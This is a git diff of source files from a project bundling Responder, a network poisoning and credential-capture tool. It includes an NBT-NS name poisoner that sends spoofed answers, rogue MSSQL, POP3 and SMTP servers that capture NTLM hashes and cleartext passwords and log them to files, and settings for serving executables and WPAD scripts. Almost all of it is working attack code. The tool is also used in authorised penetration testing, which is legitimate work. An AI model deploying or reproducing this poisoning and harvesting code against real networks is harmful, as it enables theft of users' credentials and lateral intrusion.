|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
|
||||
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
if NthashLen > 60:
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
|
||||
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
|
||||
WriteData(outfile,Writehash,User+"::"+Domain)
|
||||
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
|
||||
def ParseClearTextSQLPass(Data,client):
|
||||
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
|
||||
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
|
||||
PwdOffset = struct.unpack('<h',Data[52:54])[0]
|
||||
AppOffset = struct.unpack('<h',Data[56:58])[0]
|
||||
PwdLen = AppOffset-PwdOffset
|
||||
UsernameLen = PwdOffset-UsernameOffset
|
||||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
|
||||
def ParsePreLoginEncValue(Data):
|
||||
PacketLen = struct.unpack('>H',Data[2:4])[0]
|
||||
EncryptionValue = Data[PacketLen-7:PacketLen-6]
|
||||
if re.search("NTLMSSP",Data):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#MS-SQL server class.
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
##Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
buffer0 = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if re.search("NTLMSSP",data):
|
||||
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||
t.calculate()
|
||||
buffer1 = str(t)
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
##NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
except Exception:
|
||||
pass
|
||||
self.request.close()
|
|
@ -1,212 +0,0 @@
|
|||
#! /usr/bin/env python2.7
|
||||
|
||||
import threading
|
||||
import socket
|
||||
import struct
|
||||
import logging
|
||||
import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("NBTNSpoisoner", formatter)
|
||||
|
||||
class NBTNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global OURIP; OURIP = ourip
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
log.debug("OURIP => {}".format(ourip))
|
||||
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
|
||||
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.debug("Error starting on port 137: {}".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
#NBT-NS answer packet.
|
||||
class NBT_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x85\x00"),
|
||||
("Question", "\x00\x00"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("NbtName", ""),
|
||||
("Type", "\x00\x20"),
|
||||
("Classy", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\xa5"),
|
||||
("Len", "\x00\x06"),
|
||||
("Flags1", "\x00\x00"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["NbtName"] = data[12:46]
|
||||
self.fields["IP"] = socket.inet_aton(OURIP)
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
"\x41\x41\x00":"Workstation/Redirector Service",
|
||||
"\x42\x4c\x00":"Domain Master Browser",
|
||||
"\x42\x4d\x00":"Domain controller service",
|
||||
"\x42\x4e\x00":"Local Master Browser",
|
||||
"\x42\x4f\x00":"Browser Election Service",
|
||||
"\x43\x41\x00":"File Server Service",
|
||||
"\x41\x42\x00":"Browser Service",
|
||||
}
|
||||
|
||||
if data in Role:
|
||||
return Role[data]
|
||||
else:
|
||||
return "Service not known."
|
||||
|
||||
# Define what are we answering to.
|
||||
def Validate_NBT_NS(data,Wredirect):
|
||||
if args.analyze:
|
||||
return False
|
||||
|
||||
if NBT_NS_Role(data[43:46]) == "File Server Service.":
|
||||
return True
|
||||
|
||||
if args.nbtns == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
|
||||
return True
|
||||
|
||||
if Wredirect == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
if len(nbname) != 32:
|
||||
return nbname
|
||||
l = []
|
||||
for i in range(0, 32, 2):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NB(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
RespondToName = ResponderConfig['RespondToName']
|
||||
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(data[13:45])
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
return None
|
||||
|
||||
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
|
||||
return None
|
||||
|
||||
if args.analyze:
|
||||
if data[2:4] == "\x01\x10":
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
else:
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
|
||||
if RespondToSpecificHost(RespondTo) and args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if data[2:4] == "\x01\x10":
|
||||
if Validate_NBT_NS(data,args.wredir):
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
||||
else:
|
||||
if data[2:4] == "\x01\x10":
|
||||
if Validate_NBT_NS(data,args.wredir) and args.analyze == False:
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
|
@ -1,6 +1,6 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
|
@ -11,12 +11,9 @@
|
|||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
#Packet class handling all packet generation (see odict.py).
|
||||
from UserDict import DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
|
|
@ -1,34 +0,0 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
#Packet class handling all packet generation (see odict.py).
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
1277
core/responder/packets.py
Normal file
1277
core/responder/packets.py
Normal file
File diff suppressed because it is too large
Load diff
|
@ -1,65 +0,0 @@
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.common import *
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("POP3server", formatter)
|
||||
|
||||
class POP3server():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
|
||||
t = threading.Thread(name="POP3server", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(110, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
|
||||
class POPOKPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "+OK"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#POP3 server class.
|
||||
class POP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(POPOKPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
log.info('POP3 User: %s'%(User))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
else :
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
192
core/responder/settings.py
Normal file
192
core/responder/settings.py
Normal file
|
@ -0,0 +1,192 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import utils
|
||||
import logging
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
__version__ = 'Responder 2.2'
|
||||
|
||||
class Settings(ConfigWatcher):
|
||||
|
||||
def __init__(self):
|
||||
self.ResponderPATH = os.path.dirname(__file__)
|
||||
self.Bind_To = '0.0.0.0'
|
||||
|
||||
def __str__(self):
|
||||
ret = 'Settings class:\n'
|
||||
for attr in dir(self):
|
||||
value = str(getattr(self, attr)).strip()
|
||||
ret += " Settings.%s = %s\n" % (attr, value)
|
||||
return ret
|
||||
|
||||
def toBool(self, str):
|
||||
return True if str.upper() == 'ON' else False
|
||||
|
||||
def ExpandIPRanges(self):
|
||||
def expand_ranges(lst):
|
||||
ret = []
|
||||
for l in lst:
|
||||
tab = l.split('.')
|
||||
x = {}
|
||||
i = 0
|
||||
for byte in tab:
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0])
|
||||
x[i+1] = int(b[1])
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
ret.append('%d.%d.%d.%d' % (a, b, c, d))
|
||||
return ret
|
||||
|
||||
self.RespondTo = expand_ranges(self.RespondTo)
|
||||
self.DontRespondTo = expand_ranges(self.DontRespondTo)
|
||||
|
||||
def populate(self, options):
|
||||
|
||||
# Servers
|
||||
self.SSL_On_Off = self.toBool(self.config['Responder']['HTTPS'])
|
||||
self.SQL_On_Off = self.toBool(self.config['Responder']['SQL'])
|
||||
self.FTP_On_Off = self.toBool(self.config['Responder']['FTP'])
|
||||
self.POP_On_Off = self.toBool(self.config['Responder']['POP'])
|
||||
self.IMAP_On_Off = self.toBool(self.config['Responder']['IMAP'])
|
||||
self.SMTP_On_Off = self.toBool(self.config['Responder']['SMTP'])
|
||||
self.LDAP_On_Off = self.toBool(self.config['Responder']['LDAP'])
|
||||
self.Krb_On_Off = self.toBool(self.config['Responder']['Kerberos'])
|
||||
|
||||
# Db File
|
||||
self.DatabaseFile = './logs/responder/Responder.db'
|
||||
|
||||
# Log Files
|
||||
self.LogDir = './logs/responder'
|
||||
|
||||
if not os.path.exists(self.LogDir):
|
||||
os.mkdir(self.LogDir)
|
||||
|
||||
self.SessionLogFile = os.path.join(self.LogDir, 'Responder-Session.log')
|
||||
self.PoisonersLogFile = os.path.join(self.LogDir, 'Poisoners-Session.log')
|
||||
self.AnalyzeLogFile = os.path.join(self.LogDir, 'Analyzer-Session.log')
|
||||
|
||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
||||
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
||||
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
|
||||
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
|
||||
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
||||
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
||||
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
||||
|
||||
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
||||
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
||||
self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt')
|
||||
self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt')
|
||||
self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt')
|
||||
self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt')
|
||||
self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt')
|
||||
self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt')
|
||||
self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt')
|
||||
self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt')
|
||||
|
||||
# HTTP Options
|
||||
self.Serve_Exe = self.toBool(self.config['Responder']['HTTP Server']['Serve-Exe'])
|
||||
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
|
||||
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
|
||||
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
|
||||
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
|
||||
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
|
||||
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
|
||||
|
||||
if not os.path.exists(self.Html_Filename):
|
||||
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
|
||||
|
||||
if not os.path.exists(self.Exe_Filename):
|
||||
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
|
||||
self.SSLCert = self.config['Responder']['HTTPS Server']['SSLCert']
|
||||
|
||||
# Respond to hosts
|
||||
self.RespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondTo'].strip().split(',')])
|
||||
self.RespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondToName'].strip().split(',')])
|
||||
self.DontRespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondTo'].strip().split(',')])
|
||||
self.DontRespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondToName'].strip().split(',')])
|
||||
|
||||
# CLI options
|
||||
self.Interface = options.interface
|
||||
|
||||
try:
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.NBTNSDomain = options.NBTNSDomain
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
self.Verbose = False
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface)
|
||||
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
self.Os_version = sys.platform
|
||||
|
||||
# Set up Challenge
|
||||
self.NumChal = self.config['Responder']['Challenge']
|
||||
|
||||
if len(self.NumChal) is not 16:
|
||||
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
|
||||
sys.exit(-1)
|
||||
|
||||
self.Challenge = ""
|
||||
for i in range(0, len(self.NumChal),2):
|
||||
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
||||
|
||||
# Set up logging
|
||||
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
|
||||
logging.warning('Responder Started: {}'.format(self.CommandLine))
|
||||
#logging.warning('Responder Config: {}'.format(self))
|
||||
|
||||
Formatter = logging.Formatter('%(asctime)s - %(message)s')
|
||||
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
|
||||
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
|
||||
PLog_Handler.setLevel(logging.INFO)
|
||||
ALog_Handler.setLevel(logging.INFO)
|
||||
PLog_Handler.setFormatter(Formatter)
|
||||
ALog_Handler.setFormatter(Formatter)
|
||||
|
||||
self.PoisonersLogger = logging.getLogger('Poisoners Log')
|
||||
self.PoisonersLogger.addHandler(PLog_Handler)
|
||||
|
||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||
|
||||
global Config
|
||||
Config = Settings()
|
|
@ -1,61 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
#SMTP Greating class
|
||||
class SMTPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "smtp01.local ESMTP"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code0", "250"),
|
||||
("Separator0", "\x2d"),
|
||||
("Message0", "smtp01.local"),
|
||||
("CRLF0", "\x0d\x0a"),
|
||||
("Code", "250"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH1(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "VXNlcm5hbWU6"),#Username
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
class SMTPAUTH2(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "UGFzc3dvcmQ6"),#Password
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
|
|
@ -1,64 +0,0 @@
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from base64 import b64decode
|
||||
from SMTPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("SMTPserver", formatter)
|
||||
|
||||
class SMTPserver():
|
||||
|
||||
def serve_thread_tcp(self, port):
|
||||
try:
|
||||
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
